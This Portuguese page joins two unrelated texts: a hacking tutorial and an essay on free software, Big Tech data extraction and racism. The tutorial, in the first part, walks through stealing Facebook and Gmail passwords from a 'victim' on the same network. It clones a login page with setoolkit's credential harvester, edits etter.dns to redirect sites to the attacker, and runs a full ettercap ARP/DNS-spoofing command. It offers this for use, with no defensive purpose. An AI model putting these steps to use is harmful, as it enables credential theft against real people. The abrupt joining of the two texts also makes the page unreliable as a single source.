Hackeando Facebook, gmail, etc.. Usando ettercap e setoolkit | Kali Linux28/03/2015 POR H3CKERSETICOSBRASIL LEIA COM ATENÇÃO !!
Olá,hoje eu mostrarei umas das formas mais fáceis de hackear um Facebook,gmail,tudo que envolva login e senha…. Muitas pessoas enchem o meu saco perguntanto como hackeia “Faice“, bem ,então vamos ao tutorial. Primeiro de tudo a sua “vítima” precisa estar conectada na sua mesma rede. Agora vamos ao passo a passo.
1 – Crie uma página Fake do Facebook com o setoolkit (social enginner toolkit)
Como faz isso ?
Digite setoolkit no terminal
Escolha a opção : 1) Social-Engineering Attacks
Depois a opção : 2) Website Attack Vectors
Depois a opção : 3) Credential Harvester Attack Method
Agora a opção : 2) Site Cloner
Coloque o seu IP interno,e depois a página que você quer clonar. Ex:Facebook
Feito isso,não feche o terminal,o server apache vai estar funcionando enquanto o setoolikt está rodando.
Agora vamos para o segundo passo.
Abra outro terminal
2 – Vamos Redirecionar qualquer requisição HTTP,HTTPS para o nosso IP
Vamos localizar o arquivo de configuração de redirecionamento do ettercap. Então,digitamos no terminal :
locate etter.dns
Agora,vamos digitar : nano /usr/share/ettercap/etter.dns (Você pode usar o editor de texto que você quiser,exemplo : Gedit )
Editaremos onde está escrito :
#
microsoft sucks ; )
redirect it to www.linux.org
#
Agora é só alterar o IP que está pelo o seu.Se você quiser colocar mais sites para ser redirecionado, clolque :
exemplo :
https://www.google.com.br/?gws_rd=ssl A 92.168.0.11 http://www.youtube.com A 192.168.0.11 http://www.yahoo.com A 192.168.0.11 https://www.facebook.com A 192.168.0.11
Considerando que 192.168.0.11 seja o seu IP.
Salve o arquivo e saia.
Quarto e último passo.
4 – Redirecionando com o ettercap
Você precisa de uma interface de rede,no meu caso wlan0,então vamos lá…
Digite : ettercap -Tqi wlan0 -P dns_spoof -M arp // // (Se a sua interface de rede for diferente,mude apenas o wlan0 para outra interface,nada mais!!!)
PRONTO !!!
é só esperar a sua “vítima” acessas algum site que você colocou no arquivo do ettercap,e quando essa pessoa acessar será redirecionada para o site que você clonou com o set e está rodando no apache.
“Desfrute do seu conhecimento” By : ol4t1
Mais do que nunca a apropriação de tecnologias livres, autónomas se faz necessário para nós africanos diaspórico e continentais. Nessa crise de saúde, em que a única presença se dá por meios de tecnologias digitais, as tentativas de fazer valer nosso direito de se comunicar, tem gerado grandes furtunas a quem historicamente nos odeia e mesmo assim lucra grandiosamente com nossas lives, textões e bate papos que deveriam, muitos deles, ficar entre nós, esta sendo armazenados em bancos de dados, a disposição de ser negociado com fins de espionagens a troco de que? Otimizar a supremacia branca e manter os privilégios diante de nossas necessidades básicas.
Se formos usar um computador, por padrão nos empurrão um sistema WINDOWS, para bate papo, Whatsapp, nossos amigos estão nos facebook, nossas live's pelo instagran e facebook, todos essas três ultimas do mesmo dono. No computador que você compra por padrão injusto, vem inseguro, como estratégia de usarmos em breve os anti-vírus que não protege dos vírus criados pelo mesmo criador do sistema operacional que controla todo seu computador e que o anti-vírus criado por esse também não tem capacidade de proteger.
O racismo é altamente mutável, e no campo tecnológico fez um grande espaço de dominação, sendo a internet facilmente comparável com um grande latifúndio, com proprietários poucos para muita terra, e se, o povo tiver a necessidade de usar, o fará de forma que gere muito lucro para esses grandes empresários, representantes da supremacia branca mundial.
GAFAM é o acrônimo de gigantes da Web, Google, Apple, Facebook, Amazon e Microsoft, essas grandes empresas são as 5 grandes potência do EUA, reproduzem de forma inusitada as grandes mazelas que assolavam anteriormente os territórios. Um fato histórico, chamado guerra dos navegadores marcou o que hoje conhecemos como internet, esses acontecimentos de guerra entre os privilegiados dos meios da tecnologias, foi marcados por atropelos em busca da tomada territorial desse meio, que hoje se faz completamente necessário nas vidas das pessoas, pessoas essas que carentes de diversos direitos, quando fazem uso de tais tecnologias, fazem de um forma superficiais, uma vez que estamos a muito tempo sendo influenciados a termos nossas informações usurpadas, afinal de conta desde os processos coloniais, os escravistas focaram em nossas informações, nossos conhecimento, nossas práticas ancestrais.
Diante dessas tecnologias que foram historicamente empurradas goela a baixo das pessoas, todas elas, que funcionam de forma estratégicas para gerar capital para seus donos, possuem adversárias livres, que possibilitam a utilização de uma boa parcela desse território, apurando a diferença entre as tecnologias que podemos chamar de ''proprietárias'', para exemplificar que são de códigos fechados e que precisam ser pagas para serem usadas, e a ''livres'', sendo livre usada aqui para denotar as que que não precisam ser pagas para usar e possuem uma filosofia bastante parecida coma s lutas por territórios travadas pelos povos e comunidades tradicionais por seus territórios.
Importante ressaltar que diante das tecnologias mais próximas e possíveis dos povos para garantias dos seus direitos enquanto usam essas tais tecnologias como território minado, e a compreensão desses é muito importante para alcançar a tal liberdade. Essa diferença está baseada em princípios. O universo que faz pareia ao mundo proprietário e capitalista em torno do windows, e os software Gnu-Linux, porem mesmo diante desse universo livre, existem rachas e brigas que filosoficamente nos embaralha a compreensão. Essa questões filosóficas é o que permite determinar se um programa é categorizado como software livre ou não, mas, ainda existe os programas chamados se código aberto ou do inglês, Open Source, porem esses não compartilham dos ideais filosóficos dos softwares livres, onde a liberdade e o senso de comunidades dos usuários são respeitados. Significa que o usuário tem total liberdade para executar, copiar, distribuir, estudar, mudar e melhorar o software. Claro que para as grandes empresas GAFAM, essa liberdade atrapalha bastante os ganhos com os usos emburrecidos de suas tecnologias, significando inclusive que as vulnerabilidades referente aos dados que os GAFEM pensavam em sequestrar e comercializar nas suas ações de políticas de dados, passam a serem massivamente protegidas pelos usuários dos software livre, que coletivamente trabalham os códigos de forma continuada, resolvendo as vulnerabilidades em suas redes colaborativas assim que elas aparecem, ou quando são reportadas até por usuários mais simplórios dos software livres, uma vez que todos os usuários contribuem com a segurança do sistema. Importante ressaltar que a a liberdade aqui citada inclui o uso do software livre de forma comercial.
Imagina o estrago que as tecnologias não livres, fazem em nossas cabeças e nossas comunidades, levando em conta que ao usarmos tais tecnologias, deixamos totalmente expostos ao olhos de nossos principais algozes, todas as nossas conversas, estratégias, gostos, necessidades. E quando não conseguimos ao menos aprender a ler, de forma estrutural termos educação tecnológica plausível para usarmos de forma crítica, ficamos completamente nas mão das empresas que lucram construindo perfis de compras com os nossos dados que são vendidos por empresas como o facebook, instagram ou qualquer um das outras gigantes que compõem o GAFAM quando clicamos em simples produtos, ou quando fazemos uma pesquisa em um navegador, é de práxis aparecer os produtos de forma automática em nossas redes.
Ainda mais preocupante é quando nossas comunicações comunitárias são proibidas, perseguidas e criminalizadas, a exemplo das rádios comunitárias fechadas e perseguidas enquanto nossas comunicações são influenciadas de alguma forma meio que invisível por essas empresas nefastas.
Eu sempre que posso me afasto dessas redes pra manter minha sanidade filosófica e tecnológica, mais ao compreender que muitos dos meus ainda estão na mão dessas empresas volto pra fazer meu papel nessa batalha de contra poder, agindo com a apropriação tecnológica para tentar compartilhar técnicas e ideias sobre uso de tecnologias e comunicações livres comunitárias.
Precisamos nos basear por modelos filosóficos que me deixe próximo ou em total liberdade, seguindo a linha da quilombagem e quilombismo, sendo elas vertentes importantes de pan-africanismo em modelo brasileiro, Os quilombos não negociavam com os colonizadores, não faziam uso sem responsabilidade com a liberdade de nenhuma propriedade ou ferramenta, retomando território e reafirmando valores civilizatórios africanos e indigenas da forma mais coletiva possível. Segundo esse exemplo histórico de luta por territórios, precisamos antes de mais nada reafirmar nossa localidade psicológica e filosófica.